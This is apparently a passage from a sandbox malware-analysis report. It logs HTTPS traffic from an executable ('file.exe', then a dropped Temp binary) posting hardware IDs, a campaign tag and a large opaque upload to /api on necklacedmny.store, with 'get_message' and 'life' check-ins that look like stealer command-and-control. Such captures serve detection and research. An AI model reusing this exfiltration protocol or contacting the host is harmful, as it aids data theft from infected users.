2024-10-31 04:06:06 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 30 39 35 38 37 39 43 30 42 36 38 45 33 46 31 33 33 46 38 44 32 30 38 43 41 46 31 45 36 33 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D095879C0B68E3F133F8D208CAF1E63B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 04:06:06 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-31 04:06:07 UTC	1020	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:06:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=76u71vdbrqn0ob9bgh2cpj9vm9; expires=Sun, 23-Feb-2025 21:52:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ir57gMPJEzBcdAqBQtny2lxlszz32O5qXQ9WQOdj6bdWdjXWID2tbwVnghoXIiOUYcKENd3bcY5ZSWOfS%2B%2BkmpF%2BmQDptrzS1y4JJsF%2FPpZJ15%2F73MhGEwrnfXBMOYWbU5Et0Tg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db0c544eac18d2c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1073&sent=14&recv=28&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21406&delivery_rate=2606660&cwnd=83&unsent_bytes=0&cid=284e15473c086c57&ts=652&x=0"
2024-10-31 04:06:07 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 04:06:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	188.114.97.3	443	6996	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 04:06:08 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1260 Host: necklacedmny.store
2024-10-31 04:06:08 UTC	1260	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 30 39 35 38 37 39 43 30 42 36 38 45 33 46 31 33 33 46 38 44 32 30 38 43 41 46 31 45 36 33 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D095879C0B68E3F133F8D208CAF1E63B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 04:06:09 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:06:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=163qv09htl6oqnn6vgfsc0lhnt; expires=Sun, 23-Feb-2025 21:52:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Haa1RBy%2BN87QtXCrTYUJw8BSDxex12XYYwwkDoM5vSc%2FbDJdslJHu9azrJqZBHWE%2FMEpDqnXimPz5C%2BMq5qiP66duolACvxzJ3%2F5yPWoEF3ZFveGITPLyIdp0wyi89WAPBxn4GQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db0c54ebe99e916-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1443&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2179&delivery_rate=1986282&cwnd=251&unsent_bytes=0&cid=c5bd20e3f6c78129&ts=724&x=0"
2024-10-31 04:06:09 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 04:06:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	188.114.97.3	443	6996	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 04:06:10 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 549434 Host: necklacedmny.store
2024-10-31 04:06:10 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 30 39 35 38 37 39 43 30 42 36 38 45 33 46 31 33 33 46 38 44 32 30 38 43 41 46 31 45 36 33 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D095879C0B68E3F133F8D208CAF1E63B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 04:06:10 UTC	15331	OUT	Data Raw: 67 04 77 02 27 6b 59 f1 0c 65 98 ee 71 2a 55 2b c5 0f 92 da f8 a9 eb 18 13 27 ba 97 6d fc c0 e4 53 e0 78 38 55 f9 fe 79 04 d4 1b a2 34 14 be 1b 37 0c 78 92 63 62 fd 7f 2e 23 ec ab 00 9a b8 9c 9b 6d f1 97 01 db 27 f9 e8 34 b6 82 98 e9 02 dd d3 58 20 76 45 1d 56 ca 27 24 87 f8 16 9c 75 16 14 08 90 26 ae df 18 3f 11 27 40 9b 2f 56 9f 8a bf 13 6e b7 11 11 70 2c 6c 2f c3 e8 0f 21 5b 67 e7 83 28 e3 20 bc 3e 28 e9 08 f2 9f cc 83 e0 6c a8 52 0a 7f a4 19 2e dc 0f 1c b4 3a 01 b9 9a e7 2d 88 54 df b8 b4 28 70 e3 df 96 8f 03 2e 7d 63 7d ef d2 46 ec 87 9c de a1 43 35 eb 37 ae 52 a1 02 fb 8a 0e 93 92 ab 89 21 ae 93 69 51 28 b8 77 bf 8f 88 11 26 14 99 76 62 68 5a 0e 06 24 f9 c7 53 73 41 71 b0 a3 cb 9a 43 83 06 7e 3a 60 e9 e0 fb 3e 3d b0 dd 58 7e f7 cd a9 d1 c1 8b bb fb Data Ascii: gw'kYeq*U+'mSx8Uy47xcb.#m'4X vEV'$u&?'@/Vnp,l/![g( >(lR.:-T(p.}c}FC57R!iQ(w&vbhZ$SsAqC~:`>=X~
2024-10-31 04:06:10 UTC	15331	OUT	Data Raw: ab 6c 0d 73 e7 bd 9c d3 2c 85 94 8f 1c c9 17 c3 bc c7 34 4b 87 0c e4 f9 58 c9 49 5d 5a 6a 9d 48 a9 97 e8 c2 d4 6a 29 bc 6d 0d c6 07 0c d7 52 4d b8 df 3f 8e c7 95 8d 4e 4e 4f 47 d7 e9 4f 28 39 ab 80 9d 8e 11 10 41 6e 1f 9e 6a 19 48 54 51 52 8c 88 fb f5 fe c4 31 f9 48 03 a7 2e 43 9c df 71 15 3e 3f 5e be 5a 57 07 f7 a8 b1 ec d7 bb 0c 02 ff 5d 35 eb 69 81 57 25 3c 3c 9a 9f 47 3c 16 cd 2f b4 a6 d4 b7 24 b4 b3 49 4e fb d5 46 ed a3 38 82 1c 4a 68 0f ce e4 a1 ee 92 78 a5 ca 2b c1 d4 96 3b a1 b5 7b f2 27 e5 fa f9 bf ab 67 4d 5e 19 fd 7d 36 fa 6a 7a c8 3e be bb 41 a2 7d d4 66 c3 e7 8d d1 b0 bf f8 2f c5 da a9 10 7e f4 4f 66 f7 ba d3 15 bf 47 99 86 88 ce 2c d1 ac dc 16 59 a1 f5 e1 d8 63 43 50 77 d4 96 c8 d3 1d 05 2a e9 2c e5 09 5e ba 48 86 c4 0b 76 b0 68 ba 18 73 7c Data Ascii: ls,4KXI]ZjHj)mRM?NNOGO(9AnjHTQR1H.Cq>?^ZW]5iW%<<G</$INF8Jhx+;{'gM^}6jz>A}f/~OfG,YcCPw*,^Hvhs\|
2024-10-31 04:06:10 UTC	15331	OUT	Data Raw: aa 00 9d f3 c9 55 dc ad 0d dc 72 df ab 63 b7 37 50 d2 98 66 f4 f2 d6 b3 58 aa 18 bb ec e6 6e 7a 94 f5 a7 67 7b 3f a1 61 46 e5 92 cb 81 8d 17 fd 02 3d 99 15 9f 47 6a 2a 5e fe c3 62 72 f3 63 4f 57 4f ad fc 71 62 52 9b cf 09 75 8d fd dc fa 4d f5 35 76 b7 79 c5 b9 f6 69 7f 26 35 6f 2f 70 14 2e 02 98 5b a7 81 e3 85 1d 3c 3b 75 7a 65 0b 85 59 6e c3 12 ac d2 03 6d 1c 8e 3a 3e dc e6 eb fa a3 7b 11 56 13 72 93 05 d2 40 36 26 e4 96 d7 3c 44 b7 0b b5 37 f8 a0 8e 9f e9 7d 43 6e 33 79 1a 6e a1 05 1c 3e fe da 40 7c 84 29 f0 90 ff ff 8e 40 47 32 47 21 50 86 86 9a 0c c0 b5 b2 5c 44 64 49 44 6a 96 a2 c0 85 90 a7 da 7c 6b 74 71 55 ec ab 57 8a 43 5a 3f 00 61 0f d1 11 f3 0c 4b fc 32 e9 ea c1 0d 2c 7e 62 18 a5 82 02 89 1f 39 21 36 11 36 89 a1 86 4d 56 a5 41 b4 f1 d9 c6 05 57 Data Ascii: Urc7PfXnzg{?aF=Gj*^brcOWOqbRuM5vyi&5o/p.[<;uzeYnm:>{Vr@6&<D7}Cn3yn>@\|)@G2G!P\DdIDj\|ktqUWCZ?aK2,~b9!66MVAW
2024-10-31 04:06:10 UTC	15331	OUT	Data Raw: d7 30 29 37 d9 67 b8 6f 20 e7 55 49 d9 e7 fe 69 a2 1c 44 59 0a 93 7a c6 41 ff 2f 2a 5c a6 2f cf 7b 69 db d3 08 f3 7c 19 f9 da 05 30 95 30 27 e4 d5 fc 1e 33 96 91 68 6a 4f fc 37 12 81 a6 86 8a ed 91 c6 ce a3 3c d1 e6 ed 28 73 27 8d 5f 97 f1 2f fd b6 de 83 e8 8e 73 01 ac 3e 04 89 65 04 30 7d d3 e9 36 6b 66 76 e7 c9 d5 13 9c 6b 06 78 fc 94 6e f0 57 c9 40 2c 0f 46 18 d3 ab 30 8e 66 44 15 75 1b cd c9 7e b0 66 34 19 63 c3 85 1a e5 ad dc 33 9d 92 46 47 c6 ef cc 0c 55 c4 6f be 14 a0 f0 73 ee 8c 06 63 eb 49 b5 d7 99 cc 88 bf 07 c9 75 12 91 c6 75 08 76 20 4c a2 1c 75 89 48 eb 43 33 e2 ca d5 d3 e1 7b 7c 4b 4f f9 54 24 93 2d ed 33 12 70 42 82 fb 19 25 7b 76 e9 70 49 df 65 4d 6f 3c 93 88 3c cc 67 52 f5 63 a5 49 eb e6 6a 66 eb 16 77 58 93 0e 46 08 bc 1e 50 1b cf 7a c3 Data Ascii: 0)7go UIiDYzA/*\/{i\|00'3hjO7<(s'_/s>e0}6kfvkxnW@,F0fDu~f4c3FGUoscIuuv LuHC3{\|KOT$-3pB%{vpIeMo<<gRcIjfwXFPz
2024-10-31 04:06:10 UTC	15331	OUT	Data Raw: 3e 4d 31 33 1c 98 38 1a b3 ab fa ef fb dd 18 52 92 9a a9 1c f7 23 51 37 98 14 47 fa f6 30 ea f9 61 59 51 e0 d8 24 37 14 a9 f3 f5 db 92 65 7a 45 47 53 3c e7 8a b0 f8 8f bf b9 1d ae d8 3b 70 90 3f 74 02 13 ea 8f fa b1 80 8b cd aa 33 a1 99 87 4d 84 48 70 e6 9f 04 56 7a b1 12 54 ae 8d 83 65 df f4 8a c2 ec dd 32 b0 21 06 7e c9 c5 ae 8f 12 1d 6c 7b 75 96 58 5d df 2d 61 7b e1 85 17 4f ff 77 98 e6 7a 06 f6 0e 97 b4 08 fd 15 62 27 aa ca 44 52 61 9b b1 5a 51 96 dd ba 5a ed 33 94 a1 ee 87 79 af 0f ee cf 3e 73 01 7d 73 8d 71 66 67 a6 c8 55 e8 26 55 5d 73 19 3d 8b 5e ce 99 b1 39 4a a6 b3 96 54 69 63 00 bc 45 33 e6 59 7d a4 34 11 40 d8 23 16 a5 c4 cd 6e d8 5e 1b fc 77 5d 72 a4 86 d9 39 f5 33 41 ee b8 33 bc 0f 34 a8 ec ec 77 98 6d 81 30 e0 90 14 43 be 01 a6 86 5d e2 02 Data Ascii: >M138R#Q7G0aYQ$7ezEGS<;p?t3MHpVzTe2!~l{uX]-a{Owzb'DRaZQZ3y>s}sqfgU&U]s=^9JTicE3Y}4@#n^w]r93A34wm0C]
2024-10-31 04:06:10 UTC	15331	OUT	Data Raw: 5c 59 0a b5 e4 51 f2 18 b6 f9 7f d7 8e fd cf 51 ab d3 db e7 bf dd a8 26 a5 2b 2b fe 69 17 71 04 18 36 85 43 d8 51 5c d4 e4 88 8f d6 f3 8f 63 f1 2e 77 02 bf 1d 79 b4 b4 95 e9 65 bc 4f 64 c3 cb 51 40 a1 ba e7 a5 37 a6 68 f8 32 0e 8f f8 fe 3b 1d 3b 56 bc 60 4e e2 ff ba d9 8e a8 03 d2 4e 55 46 37 b3 cd 53 7d 9f 38 b8 f2 4f ea 8e 58 67 1e 44 91 20 4c 28 ed b1 47 8e cd d7 42 60 f6 59 28 44 94 cb 52 86 1c 85 7b 4f 72 b4 ce a5 71 ef f5 a0 63 fa f0 2e 17 89 81 bc f7 23 2d da 36 35 6b 45 b3 3c e4 4a d6 34 33 47 a8 53 34 dc 45 b2 38 a2 fa 08 b0 18 cd d4 40 7d c7 f6 fe a5 0d 57 34 5c c5 41 6a 0d d8 d8 ab 91 e5 90 b5 a3 bd 04 e0 a9 71 82 88 43 21 78 56 b1 73 76 96 c8 24 eb f0 e0 f7 2b 94 ca 5d b7 95 98 23 13 2c 4b b1 2c 6c d8 cf 5f ad fe bf 0b 7c 99 87 99 25 c5 c7 84 Data Ascii: \YQQ&++iq6CQ\c.wyeOdQ@7h2;;V`NNUF7S}8OXgD L(GB`Y(DR{Orqc.#-65kE<J43GS4E8@}W4\AjqC!xVsv$+]#,K,l_\|%
2024-10-31 04:06:10 UTC	15331	OUT	Data Raw: 5c 39 3b 89 7c b4 b4 b9 a2 b7 f5 c9 56 ed 9b 5f 16 84 94 04 19 2b b6 11 8f 0e 0e e7 2f 1a d8 f4 66 17 77 b4 a3 db fe 18 0a 06 81 47 50 86 c3 de d2 4b c5 72 29 23 2e a7 36 a5 11 9e cb ce 99 c6 4d e8 53 88 d0 48 ac 17 52 9d ba 9a 9d ba eb 0d 06 b8 9c 5f 97 63 c5 3b e3 e5 83 bf fb c2 da f8 e2 a4 6f be 43 f9 d7 a6 32 58 7a 3b f6 b2 88 8c 26 74 93 ac 22 82 a9 d8 6b 90 b0 51 c5 21 dc cb 31 dd df 3f 12 45 51 18 bd b5 4a ae 3c ce d1 ab af e6 a6 fc 03 7a 14 21 0d a3 63 5a 2b d5 cb 1e d6 96 38 31 91 61 f5 29 21 9c db c7 9f 5c 60 55 3a 38 75 24 f7 48 68 f2 91 93 e7 ff 9d 36 63 91 d6 45 77 d8 11 25 df d8 62 db 66 e5 a2 56 7a 4e 43 19 d9 3e 89 3b 2f 2e 4d 1b 8e 7e b2 83 3e f3 3c 81 cf 62 c1 bc 70 5f fa 39 a0 b5 70 80 58 82 40 1c e5 dd 94 ed bf 92 36 80 05 e4 70 e8 1c Data Ascii: \9;\|V_+/fwGPKr)#.6MSHR_c;oC2Xz;&t"kQ!1?EQJ<z!cZ+81a)!\`U:8u$Hh6cEw%bfVzNC>;/.M~><bp_9pX@6p
2024-10-31 04:06:10 UTC	15331	OUT	Data Raw: 78 88 2f c9 ce a6 e9 e0 c8 26 b1 fd ff ff 89 09 67 00 a7 ed e8 07 64 71 e7 50 bb 0c 51 1d fa 91 3f de f9 6e 5d d6 96 9f a8 36 27 68 0a 00 09 ac 54 aa 7b 9e 1a 61 41 4f cf 08 7d f4 6e 83 fe d0 89 01 df f4 27 ad dd 9f 1f e6 9b 09 f2 6e cd db 7f 32 a2 fe ef 96 98 20 08 f1 59 5c 44 03 6d fc 15 1c 78 8b 2e 14 40 0d 93 c9 92 ff 04 a7 69 fb 24 6e 1e ab b1 34 e6 f7 d5 41 30 60 c0 09 72 8e 2c b5 17 45 0f 70 28 54 1a e6 4a 1e ee 97 1a 71 8d c7 8e a8 d2 05 30 da 2c cf 68 6a 30 c0 af 3f 66 8d ad 00 3e 15 f3 c1 e3 22 6f b6 e2 f6 4d 5b a1 79 ed 7c f8 cc 9c a9 9a 13 a7 36 9f 55 a4 1a f3 0a 8e 89 df 83 60 a3 6e fd f5 2b 0e 12 a8 eb 09 13 10 b8 41 c0 35 e0 ea 95 a3 42 76 53 f9 01 84 83 56 88 7b 43 77 72 ed 5a 73 66 c9 2e 36 a6 4e 23 d8 cb 96 78 0f cc 6b 74 12 21 e9 60 8d Data Ascii: x/&gdqPQ?n]6'hT{aAO}n'n2 Y\Dmx.@i$n4A0`r,Ep(TJq0,hj0?f>"oM[y\|6U`n+A5BvSV{CwrZsf.6N#xkt!`
2024-10-31 04:06:10 UTC	15331	OUT	Data Raw: 46 bc 85 c5 33 2d 85 2b c9 22 a4 5d eb 37 8d b4 d7 1c d4 33 f9 22 9d 47 4e 46 d0 5f de 94 9c 30 b5 fc 14 cd bf c1 e7 43 40 d7 5e 47 13 ce f0 5f 93 14 74 9c d7 a7 09 7c b5 ff bf 97 de 58 c7 e9 9d cc 84 f8 98 c4 b2 9d 86 bc cc bb 6a 5e 82 88 37 66 d1 63 8d 89 80 61 77 14 e4 1f 9e 51 81 f2 7f 99 31 dd 1d 86 2f 5e fd 22 5a b9 f3 66 31 5b 03 01 91 5f 5c 53 4f 7b b3 ae e6 87 33 12 f2 97 6a 26 5c a6 e0 89 da 26 52 05 5a 5d c0 b2 75 47 e8 51 18 86 a9 41 31 6a 85 a6 38 6f f7 eb cb 45 2a 29 13 00 76 72 f4 8e f3 37 86 7c 67 07 7a 7a 48 1f 70 9d 3f 30 5a 13 de 73 5b c0 31 68 e1 d5 bc bd 0a b1 85 9e e5 31 58 29 37 58 72 d7 25 5f 6c 61 20 4c 2a d2 bb 59 b9 63 6c a9 58 9b 1e 45 ad 9b f5 c8 0b 41 b8 17 30 f6 e7 fa d8 2b c2 20 c4 7b 6e 56 1e 0e f3 83 5e 6b 26 4d 7c d8 93 Data Ascii: F3-+"]73"GNF_0C@^G_t\|Xj^7fcawQ1/^"Zf1[_\SO{3j&\&RZ]uGQA1j8oE)vr7\|gzzHp?0Zs[1h1X)7Xr%_la LYclXEA0+ {nV^k&M\|
2024-10-31 04:06:31 UTC	1026	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:06:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7v44082pi41t1b00cjjdags1kk; expires=Sun, 23-Feb-2025 21:52:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lLeOCpF%2FJLz172tfynDDlpPKobEuCKbw%2BvW7rtDR%2FLPKy5rhrjF%2BGF52GOsxi8KHPV%2BqyKrKs4GoDVVmYA2gGEXc28O80ABmq0eUNF3zFRP0rmr7ktf7vuxg7XwqbnLps1kdLzM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db0c55a6d7045ee-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1722&sent=202&recv=582&lost=0&retrans=0&sent_bytes=2846&recv_bytes=551917&delivery_rate=1641723&cwnd=237&unsent_bytes=0&cid=412331e1f22caa21&ts=21606&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49743	188.114.97.3	443	6996	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 04:06:32 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-31 04:06:32 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 44 30 39 35 38 37 39 43 30 42 36 38 45 33 46 31 33 33 46 38 44 32 30 38 43 41 46 31 45 36 33 42 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=D095879C0B68E3F133F8D208CAF1E63B
2024-10-31 04:06:32 UTC	1015	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:06:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hc68jghmbiq41polijlqov2aoc; expires=Sun, 23-Feb-2025 21:53:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zACR%2B5OyyKfori06tAzH26gxeXvWw903zhYDcrCefycyZ3h2KWm4%2BJeu%2BtA8RU1TW3TLJaNeM8QHw8yfCtuuHVjI1ElQgH851IaS8%2FWI9fkRVFPY3M82n3KnDi6uBsw37ogdCbE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db0c5e56f9a4790-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1145&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=2524847&cwnd=238&unsent_bytes=0&cid=ba45345be2ef6987&ts=436&x=0"
2024-10-31 04:06:32 UTC	214	IN	Data Raw: 64 30 0d 0a 6d 46 30 56 79 59 51 38 51 33 54 70 57 4e 4c 6d 79 50 41 75 34 50 51 73 50 73 34 4e 46 4b 7a 41 57 6f 44 6b 2b 71 61 4d 47 77 54 44 4a 6a 65 38 70 67 5a 68 48 4a 30 73 6f 74 79 55 33 33 4c 50 78 52 51 4c 34 44 38 6c 6d 65 35 72 73 64 66 55 6c 37 70 48 4b 2f 63 37 63 35 57 72 57 43 59 53 78 7a 32 71 67 2b 72 63 44 49 61 41 44 67 54 2b 49 54 62 4a 34 6d 43 77 6d 64 62 64 72 6d 34 6d 6f 6e 39 39 76 66 42 4d 65 53 6a 47 42 50 33 58 38 4d 55 41 30 73 55 5a 45 50 38 38 4a 34 4c 78 62 4e 7a 4c 6c 38 2f 69 66 6c 69 33 4c 33 53 6e 34 46 4d 75 57 6f 77 67 74 38 54 6b 30 6b 69 55 31 68 59 4f 34 69 39 78 6a 76 70 71 2f 62 6b 3d 0d 0a Data Ascii: d0mF0VyYQ8Q3TpWNLmyPAu4PQsPs4NFKzAWoDk+qaMGwTDJje8pgZhHJ0sotyU33LPxRQL4D8lme5rsdfUl7pHK/c7c5WrWCYSxz2qg+rcDIaADgT+ITbJ4mCwmdbdrm4mon99vfBMeSjGBP3X8MUA0sUZEP88J4LxbNzLl8/ifli3L3Sn4FMuWowgt8Tk0kiU1hYO4i9xjvpq/bk=
2024-10-31 04:06:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49844	188.114.97.3	443	1056	C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 04:07:15 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-31 04:07:15 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
